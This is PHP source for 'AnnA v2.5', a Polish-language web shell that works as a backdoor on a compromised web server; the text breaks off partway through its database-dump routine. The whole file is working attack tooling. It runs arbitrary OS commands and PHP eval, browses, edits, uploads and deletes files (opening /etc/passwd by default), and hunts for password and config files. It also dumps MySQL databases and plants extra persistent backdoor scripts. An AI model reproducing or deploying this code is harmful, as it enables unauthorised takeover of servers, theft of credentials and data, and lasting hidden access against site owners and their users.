<?php
# _____________________
#|||----------------____connecting...____---------------|||
#||| _ _ _ ___ __ __ _____ |||
#||| | | | | | \ \ / | _ | |||
#||| | | __ | | | |\ \ \/ | | | | PRODUCTIONS |||
#||| | |/ \| | | | | | /| | | | | www.twidmo.yoyo.pl |||
#||| | /\ | | |/ / |\/ | | |_| | t.widmo@gmail.com |||
#||| |__/ \__|_|___/__| |_|_____| |||
#||| _______________________ |||
#|||---------------__connection.closed..._--------------|||
#
#php shell AnnA v2.5 by WIDMO
#nie biorę żadnych odpowiedzialności za korzystanie ze skryptu niezgodnie z prawem... ;)
ob_start();
if($_GET["img"]!="" && $_GET["act"]!=""){
$img=$_GET["img"];
$imgs=array('dir' =>
'Qk0OAwAAAAAAADYAAAAoAAAAEQAAAA4AAAABABgAAAAAANgCAA'.
'AAAAAAAAAAAAAAAAAAAAAAGRkZGRkZFBQUDg4ODAwMDAwMDAwM'.
'DAwMDAwMDAwMDAwMDAwMDAwMDAwMDg4OFBQUGRkZABkZGRYWFg'.
'1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpAoK'.
'Cg4ODhYWFgAZGRkZmcUcm8ab/v5s1v5s1v5s1v5s1v5s1v5s1v'.
'5s1v5s1v5s1v4pmL4Nc6QMDAwVFRUAGRkZGZnFGpnFeuPvm/7+'.
'fOL+fOL+fOL+fOL+fOL+fOL+fOL+fN7+Q7HdGnucCgoKExMTAB'.
'kZGRmZxSahzkC31pv+/oPq/oPq/oPq/oPq/oPq/oPq/oPq/oPm'.
'/kO57hmZxQoKCg4ODgAZGRkZmcVDsuEhn8ik/v6T9v6T9v6T9v'.
'6T9v6T9v6T9v6T9v6T9v5TveZcu80Nc6QMDAwAGRkZGZnFcNT8'.
'GZnFiO/2m/7+m/7+m/7+m/7+m/7+m/7+m/7+m/7+W8b+lfj6GX'.
'uaDAwMABkZGRmZxYPW/hmZxWy+2f7+/v7+/vb6/v7+/v7+/v7+'.
'/v7+/v7+/oPm/v7+/hl+oA4ODgAAAAAZmcWD6v5QwOEZmcUZmc'.
'UZmcUZmcUZmcUZmcUZmcUZmcUZmcUZmcUZmcUZiLAAAAAAAAAA'.
'GZnFm/L+i/L+i/L+i/L+i/L+i/L+/v7+/v7+/v7+/v7+/v7+GZ'.
'nFGnucAAAAAAAAAAAAABmZxf7+/pv+/pv+/pv+/pv+/v7+/hmZ'.
'xRmZxRmZxRmZxRmZxRmZxQAAAAAAAAAAAAAAAAAAAAAioc3+/v'.
'7+/v7+/v7+/v4ZmcUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAIqHNIqHNIqHNIqHNAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='.
'',
'file' =>
'Qk0iAwAAAAAAADYAAAAoAAAADgAAABEAAAABABgAAAAAAOwCAA'.
'AAAAAAAAAAAAAAAAAAAAAAGRkZGRkZAAAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAAAAAAAAAGRkZAAAZGRmAgICAgICAgICAgI'.
'CAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAABkZGYCAgP//'.
'/////////////////////////////////////4CAgAAAAAAAGR'.
'kZgICA////////////////////////////////////////gICA'.
'AAAAAAAZGRmAgID///////8AAAAAAAAAAAAAAAAAAAAAAAD///'.
'////+AgIAAAAAAABkZGYCAgP//////////////////////////'.
'/////////////4CAgAAAAAAAGRkZgICA////////AAAAAAAAAA'.
'AAAAAAAAAAAAAA////////gICAAAAAAAAZGRmAgID/////////'.
'//////////////////////////////+AgIAAAAAAABkZGYCAgP'.
'///////wAAAAAAAAAAAAAAAAAAAAAAAP///////4CAgAAAAAAA'.
'GRkZgICA////////////////////////////////////////gI'.
'CAAAAAAAAAAACAgID///////8AAAAAAAAAAAD///8AAAAAAAD/'.
'//////+AgIAAAAAAAAAAAICAgP////////////////////////'.
'///////////////4CAgAAAAAAAAAAAgICA////////////////'.
'////////////////////////gICAAAAAAAAAAACAgID///8AAA'.
'D///8AAAD///8AAAD///8AAAD///8AAACAgIAAAAAAAAAAAERE'.
'RQAAAP///4CAgP///4CAgP///4CAgP///4CAgP///0RERQAAAA'.
'AAAAAARERFRERFAAAARERFAAAARERFAAAARERFAAAARERFAAAA'.
'RERFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAAAAA=='.
'',
'img' =>
'Qk02AwAAAAAAADYAAAAoAAAAEAAAABAAAAABABgAAAAAAAADAA'.
'AAAAAAAAAAAAAAAAAAAAAAGRkZFhYWDw8PDAwMDAwMDAwMDAwM'.
'DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDw8PGRkZkZGRkZGRkZ'.
'GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRDAwM'.
'GRkZl5eXgcyBgcyBgs+IhNSThtmfhtmfiN6ri+O5jOW/jefDkO'.
'zRmezPkZGRDAwMGRkZmpubIXYjIXYjI3gpI3gpI3gpJH4vNolJ'.
'R5NhW7GBk/Lfk/PhlffrkZGRDAwMGRkZn5+fAUYBAUYBAUQBAU'.
'QBAUcBAUcBAU0BATwBI4AtkvDZlvjtlPXnkZGRDAwMGRkZpKSl'.
'AVABAVABATwBATkBATkBATkBEXQRCWgJecZ5gcyBe8p7dcd1kZ'.
'GRDAwMGRkZqqmqIX4hIX4hAUoBATkBAT8BAVABRaFFZb5lZ8Jn'.
'las90ZwZ5ZgNkZGRDAwMGRkZr6+vW7NbW7NbAVYBAUoBAWQBDX'.
'MNkJEptIQTyoEJ33sB438B5YEBkZGRDAwMGRkZtLS1R7VHR7VH'.
'C3ULF3kUEXEOeV8BxmEBxmEByWQBzGcBzGcBzGcBkZGRDAwMRE'.
'RFuLm5Ra8yRa8yaalCv8l6r79t+uCZ7L902ZlOs04Bs04Bs04B'.
'uFMBkZGRHh4fRERFvb2+/9J0/9J0/9J0/9J0/9J0/9J0/9J0/9'.
'J0/deC78+Wxo1koDsBkZGRHh4fRERFwcHC/dB4/dB4/60n/60n'.
'/rxK/rc//7Iz/dB4+Om5+O3E+O3E+ea7kZGRHh4fRERFxMTG9N'.
'Wj9NWj9smD9smD9NWj9NWj9NWj9NWj9NWj9NWj9NWj99WikZGR'.
'Hh4fRERFx8fI88+d88+d886c886c88ya88ya88uZ88qY88mX88'.
'mX88iW9suZkZGRKCgpRERFwsPDwsPDwMDBvr2/u7u9ubi5tra2'.
's7O0sLGxrq2uqqurqKeppKWmkZGROzs8RERFRERFRERFRERFRE'.
'RFRERFRERFRERFRERFRERFRERFRERFRERFRERFRERFRERF'.
'',
'exe' =>
'Qk1CAwAAAAAAADYAAAAoAAAAEQAAAA8AAAABABgAAAAAAAwDAA'.
'AAAAAAAAAAAAAAAAAAAAAAGRkZGBgYGBgYGBgYGBgYGBgYGBgY'.
'GBgYGBgYFxcXFxcXFxcXFxcXFxcXFxcXFxcXGhoaABkZGYA8Gn'.
'03FX03FX03FX04FX04FX04FX04FX05FX05FX05FX05FX05FX05'.
'FWEwFxUVFQAZGRn////////////6///7//////////////////'.
'/////////////////9///Jl3QVFRUAGRkZ/////P//+v//+v//'.
'+v//+v//+v//+v//+v//+v//+v//+v//+v///P//yJR0FRUVAB'.
'kZGf////v///z///r///r///r///r///r///r///r///r///r/'.
'//r///v//8yWchUVFQAZGRn////5///6///6///6///6///6//'.
'/6///6///6///6///6///6///7///QmW4VFRUAGRkZ////+f//'.
'+v//+v//+v//+v//+v//+v//+v//+v//+v//+v//+v//+///1Z'.
'tsFhYWABkZGf////n///r///n///r///r///r///r///r///r/'.
'//r///r///r///r//9ecaxYWFgAZGRn////5///8///7///6//'.
'/6///6///6///6///6///6///6///6///////bnmkWFhYARERF'.
'////+f//+f//+v//+v//+v//+v//+v//+f//+v//+v///f///v'.
'//////36JmPDw9AERERf////r///r///r///r///r///r///r/'.
'//r///r///r///r///r//////+KjYzw8PQBEREXc387Z0rna07'.
'na0rna07na07nZ07nZ0rna0rnZ0rnYz7bZ0bfYz7Tj0qrUjTg8'.
'PD0ARERFy2wB0WwB0G8B0W4B0nME0XIG0W8Bz24B0W8Bz3AB5Z'.
'dBz2sB9qJFL2v9z3ABPDw9AERERdV5DNyAF9t7Dtt6C9t6Ctx8'.
'D9x9ENR8FtN4DtN3DdBxBNN2C9FyBOB7A5JbH0RERQBEREVERE'.
'VEREVEREVEREVEREVEREVEREVEREVEREVEREVEREVEREVEREVE'.
'REVEREVEREUA'.
'');
//header("Content-type: image/gif");
echo base64_decode($imgs[$img]);
}
?>
<meta http-equiv="content-type" content="text/html;charset=windows-1250">
<style>
body{
background-color:black;
}
textarea{
border:1px solid gray;
background-color:black;
color:gray;
}
textarea:hoover{
border:1px solid gray;
background-color:#363232;
color:gray;
}
input{
border:1px solid gray;
background-color:black;
color:gray;
}
input:hover{
border:1px solid gray;
background-color:#363232;
color:gray;
}
a{
color:gray;
text-decoration:none;
}
a:hover{
color:white;
text-decoration:none;
}
fieldset{
border:3px inset gray;
background-color:black;
color:white;
}
</style>
<script language="javascript" type="text/javascript">
function show(what){
if(document.getElementById(what).style.display=="none"){
document.getElementById(what).style.display="block";
}else{
document.getElementById(what).style.display="none";
}
document.getElementById("forms").style.display="block";
document.getElementById("showtrue").style.display="none";
}//pojawiam się i znikam, i znikam...
if(document.title==""){document.title="AnnA v2.5 by widmo";}else{document.title+=" - AnnA v2.5 by widmo";}
</script>
<?php
function showtrue($msg){
echo '<div id="showtrue"><fieldset><legend>Wynik:</legend><center>';
echo $msg;
echo '</center></fieldset></div><br>';
}//showtrue("OK.");
function super_size_me($what){
if($what>=1073741824){
$what=@round($what/1073741824*100)/100 ." GB";
}elseif($what>=1048576){
$what=@round($what/1048576*100)/100 ." MB";
}elseif($what>=1024){
$what=@round($what/1024*100)/100 ." KB";
}else{
$what=$what." B";
}
return $what;
}
function perms($p){
$prms=@fileperms($p);
if(($prms & 0xC000)==0xC000){
$info='s';
}elseif(($prms & 0xA000) == 0xA000){
$info = 'l';
}elseif(($prms & 0x8000) == 0x8000){
$info = '-';
}elseif(($prms & 0x6000) == 0x6000){
$info = 'b';
}elseif(($prms & 0x4000) == 0x4000){
$info = 'd';
}elseif(($prms & 0x2000) == 0x2000){
$info = 'c';
}elseif(($prms & 0x1000) == 0x1000){
$info = 'p';
}else{
$info='u';
}
$info.=(($prms & 0x0100)?'r':'-');
$info.=(($prms & 0x0080)?'w':'-');
$info.=(($prms & 0x0040)?(($prms & 0x0800)?'s':'x'):(($prms&0x0800)?'S':'-'));
$info.=(($prms & 0x0020)?'r':'-');
$info.=(($prms & 0x0010)?'w':'-');
$info.=(($prms & 0x0008)?(($prms & 0x0400)?'s':'x'):(($prms&0x0400)?'S':'-'));
$info.=(($prms & 0x0004)?'r':'-');
$info.=(($prms & 0x0002)?'w':'-');
$info.=(($prms & 0x0001)?(($prms & 0x0200)?'t':'x'):(($prms&0x0200)?'T':'-'));
return $info;
}
if(@ini_get("safe_mode")=="1"){$safe_mode='<font color="red">ON</font>';}else{$safe_mode='<font color="green">OFF</font>';}
if(@ini_get("disable_functions")!=""){$dis_functions="<font color='red'>".@ini_get("disable_functions")."</font>";}else{$dis_functions="<font color='green'>BRAK</font>";}
if($_POST["dir"]==""){$dir=@getcwd()."/";}else{$dir=$_POST["dir"]."/";}
if($_POST["dir"]=="" && $_POST["actual_dir"]!=""){$dir=$_POST["actual_dir"];}
$dir=@str_replace("\\","/",$dir);
$dir=@str_replace("//","/",$dir);
echo '
<div style="background-color:black;color:white;width:100%;position:absolute;left:1px;top:1px;border:1px outset gray;" id="main">
<fieldset><center><font size=6><b><a href="http://www.twidmo.yoyo.pl">AnnA v2.5 by WIDMO</a></b></font></center>
<font size="2"><center>----| <b>safe mode:'.$safe_mode.'</b>; <b>disabled_functions:'.$dis_functions.'</b> |----</center>
<!-- R.I.P. -->
<br><center><form method="post" name="dir_n" id="dir_n"><b style="font-size:13;"></b><input type="text" value="'.$dir.'" name="dir" style="font-size:12;text-align:center;" size="70"> <input type="submit" value="OK" style="font-size:12;width:50;"></form></font>
<br><br><center><font size="2">OS: '.@php_uname().'</font></center>
</fieldset>
<fieldset style="background-color:#363232;"><center><font size="2">
----|
<a href="javascript:document.menu.action.value=\'pliki\';document.menu.submit();"><b>PLIKI</b></a>
|
<a href="javascript:document.menu.action.value=\'edit\';document.menu.rfilename.value=\'/etc/passwd\';document.menu.submit();"><b>EDYTOR</b></a>
|
<a href="javascript:document.menu.action.value=\'nowyplikfolder\';document.menu.actual_dir.value=\''.$dir.'\';document.menu.submit();"><b>NOWY PLIK/FOLDER</b></a>
|
<a href="javascript:document.menu.action.value=\'uploader\';document.menu.actual_dir.value=\''.$dir.'\';document.menu.submit();"><b>UPLOADER</b></a>
|
<a href="javascript:document.menu.action.value=\'osshell\';document.menu.submit();"><b>OS SHELL</b></a>
|
<a href="javascript:document.menu.action.value=\'definedvars\';document.menu.submit();"><b>DEFINED_VARS</b></a>
|
<a href="javascript:document.menu.action.value=\'mysql\';document.menu.submit();"><b>MySQL</b></a>
|
<a href="javascript:document.menu.action.value=\'phpeval\';document.menu.submit();"><b>PHP_EVAL</b></a>
|
<a href="javascript:document.menu.action.value=\'phpinfo\';document.menu.submit();"><b>PHPINFO</b></a>
|
<a href="javascript:document.menu.action.value=\'info\';document.menu.submit();"><b>PHPINFO 2</b></a>
|
<a href="javascript:document.menu.action.value=\'search\';document.menu.submit();"><b>SEARCH</b></a>
|
<a href="javascript:document.menu.action.value=\'tylnafurtka\';document.menu.submit();"><b>TYLNA FURTKA</b></a>
|
<a href="javascript:document.menu.action.value=\'delete_me\';document.menu.submit();"><b>USUŃ AnnA</b></a>
|----
</font>
</center></fieldset>';
###########################
#| FORMS
echo '<div id="forms" style="display:block;"><fieldset style="color:gray;">';
echo '
<form method="post" action="" name="menu" id="menu">
<input type="hidden" name="action" id="action">
<input type="hidden" name="actual_dir" id="actual_dir">
<input type="hidden" name="rfilename" id="rfilename">
</form>
<form method="post" name="download" id="download">
<input type="hidden" name="ddir">
<input type="hidden" name="dfile">
</form>';
if($_POST["dfile"]!=""){
$act_dir_download=getcwd();
$act_dir_download=@str_replace("\\","/",$dir);
$act_dir_download=@str_replace("//","/",$dir);
$file_down=$act_dir_download."/".$_POST["dfile"];
ob_clean();
header('Content-Type: application/octet-stream');
header('Content-Length: '.@filesize($file_down).'');
header('Content-Disposition: attachment; filename="'.$file_down.'"');
readfile($file_down);
}
if(($_POST["action"]=="pliki" || $_POST["dir"]!="" || $_POST["action"]=="") && $_POST["ftoedit"]=="" && $_POST["rfilename"]==""){
echo '<center>'; /// ////// ///// /////////////
echo '<table border="2" style="width:90%;text-align:center;color:white;font-size:15px;"><td style="background-color:#363232;"><font color="white" size="2"><center><b>nazwa pliku</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>typ</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>rozmiar</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>prawa</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>modyfikowany</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>akcja</b></center></font></td>';
$dir1=@opendir($dir);
while($plik=@readdir($dir1)){
if(@filetype($dir.$plik)=="dir"){
$dirs[]=$plik;
}
if(@filetype($dir.$plik)=="file"){
$files[]=$plik;
}
}
// ".", ".."
echo '<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF.'?act=img&img=dir"> <a href="javascript:document.dir_n.dir.value=\''.$dir.'./'.'\';document.dir_n.submit();" title="przejdź do katalogu .">.</a></font></td><td><font color="white" size="2">folder</font></td><td><font color="white" size="2"><center>----</center></font></td><td><font color="white" size="2"><center>'.perms($dir).'</center></font></td><td><font size="2" color="white">'.@date("d-m-Y H:i:s",@filectime($dir)).'</font></td><td><font color="white" size="2"> <a href="javascript:document.del.del_dir.value=\''.$dir.'./'.'\';document.del.submit();" title="usuń katalog .">[x]</a> <a href="javascript:document.dir_n.dir.value=\''.$dir.'./'.'\';document.dir_n.submit();" title="przejdź do katalogu .">[o]</a> </font></td></tr>';
echo '<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF.'?act=img&img=dir"> <a href="javascript:document.dir_n.dir.value=\''.$dir.'../'.'\';document.dir_n.submit();" title="przejdź do katalogu wyżej">..</a></font></td><td><font color="white" size="2">folder</font></td><td><font color="white" size="2"><center>----</center></font></td><td><font color="white" size="2"><center>'.perms($dir."/../").'</center></font></td><td><font size="2" color="white">'.@date("d-m-Y H:i:s",@filectime($dir."/../")).'</font></td><td><font color="white" size="2"> <a href="javascript:document.del.del_dir.value=\''.$dir.'../'.'\';document.del.submit();" title="usuń folder ..">[x]</a> <a href="javascript:document.dir_n.dir.value=\''.$dir.'../'.'\';document.dir_n.submit();" title="przejdź do katalogu wyżej">[o]</a> </font></td></tr>';
if($dirs!=""){
foreach($dirs as $dir_one){
if($dir_one!="." && $dir_one!=".."){
echo '<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF.'?act=img&img=dir"> <a href="javascript:document.dir_n.dir.value=\''.$dir.$dir_one.'/'.'\';document.dir_n.submit();" title="przejdź do katalogu '.$dir_one.'">'.$dir_one.'</a></font></td><td><font color="white" size="2">folder</font></td><td><font color="white" size="2"><center>----</center></font></td><td><font color="white" size="2"><center>'.perms($dir_one).'</center></font></td><td><font size="2" color="white">'.@date("d-m-Y H:i:s",@filectime($dir_one)).'</font></td><td><font color="white" size="2"> <a href="javascript:document.del.del_dir.value=\''.$dir.$dir_one.'/'.'\';document.del.submit();" title="usuń katalog '.$dir_one.'">[x]</a> <a href="javascript:document.dir_n.dir.value=\''.$dir.$dir_one.'/'.'\';document.dir_n.submit();" title="przejdź do katalogu '.$dir_one.'">[o]</a> </font></td></tr>';
flush(stdout);
}
}
}
if($files!=""){
foreach($files as $plik_one){
$ext_f=explode(".",$plik_one);
$ext=$ext_f[(count($ext_f)-1)];
if($ext=="jpg" || $ext=="gif" || $ext=="bmp" || $ext=="png"){
$imgtype="img";
}elseif($ext=="exe" || $ext=="bat"){
$imgtype="exe";
}else{$imgtype="file";}
echo '<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF."?act=img&img=".$imgtype.'"> <a href="javascript:document.menu.action.value=\'edit\';document.menu.rfilename.value=\''.$dir.$plik_one.'\';document.menu.submit();" title="edytuj plik '.$plik_one.'">'.$plik_one.'</a></font></td><td><font color="white" size="2">plik</font></td><td><font color="white" size="2"><center>'.@super_size_me(@filesize($plik_one)).'</center></font></td><td><font color="white" size="2"><center>'.perms($plik_one).'</center></font></td><td><font color="white" size="2">'.@date("d-m-Y H:i:s",@filectime($plik_one)).'</font></td><td><font color="white" size="2"> <a href="javascript:document.del.delete_f.value=\''.$dir.$plik_one.'\';document.del.submit();" title="usun plik '.$plik_one.'">[x]</a> <a href="javascript:document.menu.action.value=\'edit\';document.menu.rfilename.value=\''.$dir.$plik_one.'\';document.menu.submit();" title="edytuj plik '.$plik_one.'">[e]</a> <a href=javascript:document.download.dfile.value="'.$plik_one.'";document.download.submit(); title="pobierz plik '.$plik_one.'">[d]</a> </font></td></tr>';
flush(stdout);
}
}
echo '</table>';
echo '<form method="post" action="" name="del">';
echo '<input type="hidden" name="del_dir">
<input type="hidden" name="delete_f">';
echo '</form></center>';
}//show
if($_POST["rfilename"]!="" || $_POST["action"]=="edit"){
$looked=$_POST["rfilename"];
if(file_exists($looked)){$file=htmlspecialchars(file_get_contents($looked));}else{$file="# podany w zapytaniu plik nie istnieje...";}
echo('<center><form method="post"><input type="text" name="rfilename" value="'.htmlspecialchars($_POST["rfilename"]).'" size="80"></form>
<form method="post" action=""><textarea rows="25" cols="120" name="ftoedit">'.$file.'</textarea>
<input type="hidden" name="rfilename" value="'.$_POST["rfilename"].'"><br><input type="submit" value="edytuj"></form></center>');
}//look
if($_POST["ftoedit"]!="" && $_POST["rfilename"]!=""){
$notname=$_POST["rfilename"];
$newcont=stripslashes($_POST["ftoedit"]);
if($notname1=@fopen($notname,"w")){
@fputs($notname1,$newcont);
@fclose($notname1);
echo("<center># plik zostal zedytowany</center>");
}else{
echo("<center># nie można zedytowac tego pliku</center>");
}
}
if($_POST["action"]=="nowyplikfolder"){
echo '<center><form method="post" action="">';
echo '<div style="border:1px dashed white;width:30%;"><a href=javascript:show("nowyplik")><b>NOWY PLIK</b></a></div><div style="border:1px dashed white;display:none;width:30%;" id="nowyplik"><br>
Nazwa pliku: <br><input type="text" name="nfilename" size="54">';
echo '<br><br>Do folderu: <br><input type="text" name="nf_dir" value="'.$_POST["actual_dir"].'" size="54" >';
echo '<br><br>Zawartość: <br><textarea rows="5" cols="40" name="nfilecontents"></textarea>';
echo '<br><input type="submit" value="execute" ><br><br></div>';
echo '</form></center>';
echo '<center><form method="post"><div style="border:1px dashed white;width:30%;"><a href=javascript:show("nowyfolder")><b>NOWY FOLDER</b></a></div><div style="border:1px dashed white;display:none;width:30%;" id="nowyfolder"><br><input type="text" name="mk_dir" size="54"><br>Do folderu: <br><input type="text" name="nf_dir" value="'.$_POST["actual_dir"].'" size="54"><br><input type="submit" value="execute" ><br><br></div></form></center>';
}
if($_POST["action"]=="uploader"){
echo '<center><form method="post" action="" enctype="multipart/form-data">';
echo '<input type="file" name="upload_file" size="70">';
echo '<br><input type="text" name="upload_into_dir" value="'.$_POST["actual_dir"].'" size="70">';
echo '<br><input type="submit" value="upload!" name="uploaded_f_submit">';
echo '</form></center>';
}
if($_POST["action"]=="osshell" || $_POST["com"]!=""){
echo '<center><form method="post" action="" name="os_shell">';
echo '<input type="text" name="com" size="106" value="'.htmlspecialchars($_POST["com"]).'" onfocus=this.value="">';
echo '</form></center>';
if($_POST["com"]!=""){
if(!$com_ex=@shell_exec($_POST["com"])){
$com_ex=system($_POST["com"]);
}
}else{
$com_ex="tutaj pojawi się wynik polecenia...";
}
echo('<center><textarea rows="20" cols="80">'.htmlspecialchars($com_ex).'</textarea></center>');
}
if($_POST["action"]=="definedvars"){
echo '<center>';
$def_vars=@get_defined_vars();
echo '<textarea rows="15" cols="100" name="ftoedit">';
print_r($def_vars);
echo '</textarea>';
echo '</center>';
}
if($_POST["action"]=="mysql" && $_COOKIE["sql_host"]=="" && $_COOKIE["sql_baza"]=="" && $_COOKIE["sql_login"]==""){
echo '<center><form method="post" action="">';
echo 'Host: <input type="text" name="sql_host" >
<br>Baza: <input type="text" name="sql_baza" >
<br>Login: <input type="text" name="sql_login" >
<br>Hasło: <input type="text" name="sql_haslo" >
<br><input type="submit" value="execute" >';
echo '</form></center>';
}
if($_POST["action"]=="phpeval"){
echo '<center><form method="post" action="">';
echo '<br><textarea rows="5" cols="60" name="eval_com"></textarea>';
echo '<br><input type="submit" value="execute" >';
echo '</form></center>';
}
if($_POST["action"]=="search"){
echo '<center><form method="post" action="" name="searcher">';
echo '<font size="2">Wyszukiwarka plików na serwerze (polecam wyszukiwanie config.php, hasla.php itd. ;) )</font>';
echo '<br><br><input type="text" name="search_f" >';
echo '<br><input type="submit" value="execute" >';
echo '</form></center>';
}
if($_POST["action"]=="delete_me"){
echo '
<center><form method="post" action="" id="del_anna">
<p><b>Czy chcesz usunąć AnnA php shell?</b></p>
<input name="del_me" type="submit" value="TAK">
</form></center>';
}
if($_POST["action"]=="tylnafurtka"){
echo '
<center>
<p>Opcja "tylna furtka" pozwala na pozostawienie na serwerze skryptu, który pozwala na kilka dowolnie wybranych operacji.</p>
<div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_uploader")><b>UPLOADER</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_uploader"><br>
<form method="post" action="">
Gdzie ma być zostawiony uploader?
<br><input type="text" name="backdoor_self_upload_dir" value="'.$dir.'class_html.php" size="90" style="text-align:center;">
<br><br>Do którego folderu skrypt ma wgrywać pliki?
<br><input type="text" name="backdoor_file_upload_dir" value="'.$dir.'" size="90" style="text-align:center;">
<br><br><input type="submit" value="execute" >
</form>
</div>
<div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_shell")><b>OS SHELL</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_shell"><br>
<form method="post" action="">
Miejsce pozostawienia skryptu:
<br><input type="text" name="bd_os_shell" value="'.$dir.'os.php" size="90">
<br><input type="submit" value="execute" >
</form>
</div>
<div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_php_eval")><b>PHP EVAL</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_php_eval"><br>
<form method="post" action="">
Miejsce pozostawienia skryptu:
<br><input type="text" name="bd_php_eval" value="'.$dir.'eval.php" size="90">
<br><input type="submit" value="execute" >
</form>
</div>
<div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_edit")><b>EDYTOR [na hasło]</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_edit"><br>
<form method="post" action="">
Miejsce pozostawienia skryptu:
<br><input type="text" name="bd_edit" value="'.$dir.'edit.php" size="90">
<br>Hasło uruchamiające skrypt:
<br><input type="text" name="bd_edit_pass" size="90">
<br><input type="submit" value="execute" >
</form>
</div>
<div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_defined_vars")><b>DEFINED VARS [na hasło]</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_defined_vars"><br>
<form method="post" action="">
Miejsce pozostawienia skryptu:
<br><input type="text" name="bd_defined_vars" value="'.$dir.'definedv.php" size="90">
<br>Hasło uruchamiające skrypt:
<br><input type="text" name="bd_defined_vars_pass" size="90">
<br><input type="submit" value="execute" >
</form>
</div>
</center>
';
}
echo '</fieldset></div>';
###########################
# E X E C U T E
if($_POST["delete_f"]!=""){
if(@file_exists($_POST["delete_f"])){
if(!@unlink($_POST["delete_f"])){
@del($_POST["delete_f"]);
}else{
showtrue("#plik ".$_POST["delete_f"]." został pomyślnie usunięty");
}//deletowanie
}else{
showtrue("#plik, ".$_POST["delete_f"]." nie istnieje!");
die();
}
}//usuwanie pliku
if($_POST["del_dir"]!=""){
if(@rmdir($_POST["del_dir"])){showtrue("#Folder został usunięty");}else{showtrue("#Error: Folder nie został usunięty");}
}
if($_POST["mk_dir"]!=""){
if(@mkdir($_POST["nf_dir"].$_POST["mk_dir"])){
showtrue("#Nowy folder został utworzony");
}else{
showtrue("#ERROR: Nowy folder nie został utworzony");
}
}
if($_POST["nfilename"]!="" && $_POST["nfilecontents"]!=""){
$fname=$_POST["nfilename"];
$cont=$_POST["nfilecontents"];
if(file_exists($fname)){
showtrue("#plik, ".$fname." już istnieje");
die();
}//istnieje $fname
if($ofile=@fopen($_POST["nf_dir"].$fname,"w")){
@fputs($ofile,$cont);
@fclose($ofile);
showtrue("#nowy plik został utworzony");
}else{
showtrue("#tworzenie pliku nieudane");
die();
}//wstawia, fopen (a)
}//nowy plik
################################
# M y S Q L
if($_POST["sql_host"]!="" && $_POST["sql_baza"]!="" && $_POST["sql_login"]!=""){
setcookie("sql_host",$_POST["sql_host"],time()+9999);
setcookie("sql_baza",$_POST["sql_baza"],time()+9999);
setcookie("sql_login",$_POST["sql_login"],time()+9999);
if($_POST["sql_haslo"]!=""){setcookie("sql_haslo",$_POST["sql_haslo"],time()+9999);}
}
if($_COOKIE["sql_host"]!="" && $_COOKIE["sql_baza"]!="" && $_COOKIE["sql_login"]!="" && $_POST["action"]=="mysql"){
if(isset($_COOKIE["sql_haslo"])){$sql_haslo=$_COOKIE["sql_haslo"];}else{$sql_haslo='';}
if(!@mysql_connect($_COOKIE["sql_host"],$_COOKIE["sql_login"],$sql_haslo)){
showtrue("Błąd połączenia!");
die();
}
if(!@mysql_select_db($_COOKIE["sql_baza"])){
showtrue("Błąd wybierania bazy!");
die();
}
#####################
##### SQL DUMP
#####################
$dmp="";
$nl="\r\n";
$dmy=date("d-m-Y H:i:s");
$dmp.="#SQL dump wygenerowany przez AnnA php shell [by WIDMO]".$nl;
$dmp.="#Data wygenerowania: ".$dmy.$nl.$nl;
$query=@mysql_list_tables($_COOKIE["sql_baza"]);
while($rek=@mysql_fetch_array($query)){
$tab_name=$rek[0];
$tab_fields = array();
//$tab_fields=array();
$dmp.="#tabela: ".$tab_name.$nl;
$dmp.="DROP TABLE IF EXISTS ".$tab_name.";".$nl;
$dmp.="CREATE TABLE ".$tab_name." ( ".$nl;
$query_f=@mysql_query("show fields from ".$tab_name);
while($fields=@mysql_fetch_array($query_f)){
$dmp.=" ";
$dmp.=$fields["Field"]." ".$fields["Type"];
if($fields["Defeault"]!=""){
$dmp.="DEFEAULT '".$fields["Defeault"]."'";
}//defeault!=""
if($fields["Null"]!="Yes"){
$dmp.=" NOT NULL";
}//null
if($fields["Extra"]!=""){
$dmp.=" ".$fields["Extra"];
}//extra
$dmp.=",".$nl;
$tab_fields[]=$fields["Field"];
}//pola|array
$query_k=@mysql_query("show keys from ".$tab_name);
while($keys=@mysql_fetch_assoc($query_k)){
$kname=$keys["Key_name"];
if($kname!="PRIMARY" && $keys["Non_unique"]==0){
$kname="UNIQUE|".$kname;
}
$index[$kname]=array();
$index[$kname][]=$keys["Column_name"];
}//wyciąga klucze
while(list($n,$columns)=@each($index)){
